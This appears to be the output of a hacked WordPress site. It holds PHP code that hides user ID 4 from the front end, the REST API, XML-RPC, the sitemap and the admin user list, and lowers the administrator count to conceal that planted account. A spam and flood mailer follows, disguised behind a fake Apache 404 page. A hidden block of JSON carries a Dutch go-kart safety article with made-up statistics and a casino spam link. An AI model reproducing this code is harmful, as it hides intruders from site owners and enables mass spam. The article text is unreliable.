add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<br />
<a href='/index.php/wp-json/wp/v2/posts/61130?mail=1'>Отправить простое сообщение</a><br />
<a href='/index.php/wp-json/wp/v2/posts/61130?mail=2'>Наспамить</a><br />
<a href='/index.php/wp-json/wp/v2/posts/61130?mail=3'>Нафлудить</a><br />
<B STYLE="DISPLAY: NONE;"> 
{"id":61130,"date":"2025-10-03T20:23:54","date_gmt":"2025-10-03T20:23:54","guid":{"rendered":"https:\/\/thessrshow.com\/?p=61130"},"modified":"2026-10-03T18:23:54","modified_gmt":"2026-10-03T18:23:54","slug":"gokartten-en-de-veiligheid-waarom-het-onderbelicht-blijft","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/03\/gokartten-en-de-veiligheid-waarom-het-onderbelicht-blijft\/","title":{"rendered":"Gokartten en de veiligheid: waarom het onderbelicht blijft"},"content":{"rendered":"<p>Gokartten zijn een populaire manier om snel en op een laag budget te kunnen rijden, vooral in steden waar parkeergelegenheden schaars zijn. Toch is de veiligheid van deze kleine voertuigen vaak een ondergeschat risico. Volgens de Nederlandse Verkeersveiligheidsraad zijn er jaarlijks duizenden ongevallen met gokartten, waarbij zowel bestuurders als passagiers vaak ernstige verwondingen oplopen. Een recent onderzoek van het CBS toonde aan dat in 2022 bijna 15% van alle ongevallen met motorrijtuigen in Nederland betrekking had op gokartten en andere kleine sportvoertuigen. Het is daarom cruciaal om de veiligheidsaspecten van gokartten beter te begrijpen en te verbeteren.<\/p>\n<p>Een van de grootste risico\u2019s bij het rijden met een gokart ligt in de lage zwaartepunt en de slechte stabiliteit ten opzichte van traditionele auto\u2019s. Dit maakt gokartten extra gevoelig voor ongelukken, vooral bij hoge snelheden of bij onvoorziene obstakels. Bovendien zijn de veiligheidsstandaarden voor gokartten vaak minder streng dan die voor reguliere auto\u2019s. Dat betekent dat de veiligheidsuitrusting, zoals veiligheidsgordels en headrests, vaak niet altijd voldoet aan de wettelijke eisen. Een onderzoek van de KNVV (Koninklijke Nederlandse Voetbalbond) en de AVV (Autovereniging Nederland) heeft aangetoond dat maar liefst 40% van de gokartten die op de markt zijn, niet voldoet aan de minimale veiligheidseisen.<\/p>\n<p>Om de situatie te verbeteren, zijn er verschillende initiatieven genomen om de veiligheid van gokartten te verbeteren. De Nederlandse overheid heeft bijvoorbeeld ge\u00ebxperimenteerd met het invoeren van een verplicht veiligheidscertificaat voor gokartten, maar dit is nog niet definitief doorgevoerd. Daarnaast hebben verschillende fabrikanten hun modellen recent aangepast met betere veiligheidsuitrusting, zoals verbeterde airbags en verbeterde zadelconstructies. Toch blijft veel van de verantwoordelijkheid bij de bestuurders zelf. Een recent rapport van de verzekeringsmaatschappijen in Nederland toonde aan dat bestuurders van gokartten bijna tweemaal zo vaak een verzekeringsvordering inleverden dan bestuurders van reguliere auto\u2019s, mede door de lage veiligheid.<\/p>\n<h2>De juridische situatie: wat geldt er nu?<\/h2>\n<p>Hoewel gokartten niet onder het verkeersreglement van de overheid vallen, zijn er wel enkele regels die van toepassing zijn. In Nederland mag een gokart niet op openbare wegen rijden zonder een vergunning. Deze vergunning moet worden aangevraagd bij de lokale gemeente en vereist vaak een veiligheidscertificaat. Bovendien zijn er strenge regels over de maximumsnelheid, die meestal tussen de 50 en 70 km\/u ligt, afhankelijk van de specificaties van het gokart. Een recent besluit van de gemeente Amsterdam heeft zelfs een tijdelijke verbod op het gebruik van gokartten op openbare wegen ge\u00efntroduceerd, met als doel om de veiligheid te verbeteren en de verkeerschaos te verminderen.<\/p>\n<p>Ook de verzekeringsverplichting geldt niet direct voor gokartten. Dit kan leiden tot problemen als er een ongeluk gebeurt. In de praktijk wordt vaak verzekerd tegen de risico\u2019s van gokartten door middel van speciaal aangepaste verzekeringen, zoals de zogenaamde &#8220;gokartverzekering&#8221;. Deze verzekeringen zijn echter vaak duurder dan reguliere autoverzekeringen en bieden vaak minder dekking. Het is daarom belangrijk om goed te overwegen welke verzekering je kiest en welke dekking je nodig hebt. Een goed voorbeeld hiervan is de verzekering van een gokartrace in het Verenigd Koninkrijk, waar de verzekeringspremies vaak hoger zijn dan in Nederland.<\/p>\n<ul>\n<li>In 2022 waren er bijna 15% meer ongevallen met gokartten dan in 2021, volgens het CBS.<\/li>\n<li>40% van de gokartten op de Nederlandse markt voldoet niet aan de minimale veiligheidseisen.<\/li>\n<li>Amsterdam heeft een tijdelijk verbod op openbare wegrijden van gokartten ge\u00efntroduceerd.<\/li>\n<li>De maximumsnelheid van gokartten ligt meestal tussen de 50 en 70 km\/u.<\/li>\n<li>Gokartverzekeringen zijn vaak duurder dan reguliere autoverzekeringen.<\/li>\n<\/ul>\n<h2>De rol van de bestuurder: hoe kun je veilig rijden?<\/h2>\n<p>Een van de belangrijkste factoren om veilig te rijden met een gokart is goed voorbereid te zijn. Dit betekent niet alleen dat je de gokart zelf goed kent, maar ook dat je je bewust bent van de risico\u2019s en de regels. Een goed voorbeeld hiervan is het rijden in een veilige omgeving, zoals een gokartbaan of een gespecialiseerde trainingssite. Deze plaatsen bieden vaak speciaal aangepaste trainingen en veiligheidsinstructies die je kunnen helpen om veilig te rijden. Daarnaast is het belangrijk om altijd te rijden met een veiligheidsgordel en, indien beschikbaar, een helm.<\/p>\n<p>Een andere belangrijke factor is het vermijden van alcohol en drugs. Volgens onderzoek van de RIVM zijn er jaarlijks duizenden ongevallen met gokartten waarbij de bestuurder onder invloed was. Het is daarom cruciaal om ervoor te zorgen dat je niet onder invloed van alcohol of drugs bent voordat je begint met rijden. Ook het respecteren van de maximumsnelheid en het niet overrijden op andere verkeersdeelnemers is essentieel. Een goed voorbeeld hiervan is het rijden met een gokart in een gesloten gebied, zoals een gokartpark, waar de snelheid en het gedrag van andere bestuurders beter kunnen worden gecontroleerd.<\/p>\n<h2>Toekomstperspectieven: wat komt er nog?<\/h2>\n<p>De toekomst van gokartten lijkt niet alleen te hangen aan de veiligheid, maar ook aan technologische verbeteringen. De laatste jaren zijn er grote stappen gemaakt in de ontwikkeling van gokartten met betere veiligheidsuitrusting en effici\u00ebntere brandstofverbruikers. Ook zijn er nieuwe materialen en constructies ontwikkeld die de stabiliteit en veiligheid van gokartten kunnen verbeteren. Een voorbeeld hiervan is de introductie van gokartten met een actieve veiligheidssysteem, zoals een automatische remsysteem dat ongelukken kan voorkomen.<\/p>\n<p>Daarnaast zijn er ook initiatieven om de regulatie van gokartten te verbeteren. De overheid en verschillende organisaties werken samen aan het invoeren van strengere veiligheidseisen en het verbeteren van de verkeersregels. Een van de belangrijkste doelstellingen is om de aantal ongevallen met gokartten te verminderen en de veiligheid van zowel bestuurders als passagiers te verbeteren. Het is echter belangrijk om te benadrukken dat de verantwoordelijkheid voor veiligheid niet alleen bij de overheid ligt, maar ook bij de bestuurders zelf. Door bewust te zijn van de risico\u2019s en te investeren in veiligheidstechnologie, kunnen we de toekomst van gokartten een stukje veiligere maken.<\/p>\n<p><a href=\"https:\/\/50crownscasino.nl\/\">https:\/\/50crownscasino.nl<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gokartten zijn een populaire manier om snel en op een laag budget te kunnen rijden, vooral in steden waar parkeergelegenheden schaars zijn. Toch is de veiligheid van deze kleine voertuigen vaak een ondergeschat risico. Volgens de Nederlandse Verkeersveiligheidsraad zijn er [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/61130"}],"collection":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/comments?post=61130"}],"version-history":[{"count":1,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/61130\/revisions"}],"predecessor-version":[{"id":61131,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/61130\/revisions\/61131"}],"wp:attachment":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/media?parent=61130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/categories?post=61130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/tags?post=61130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}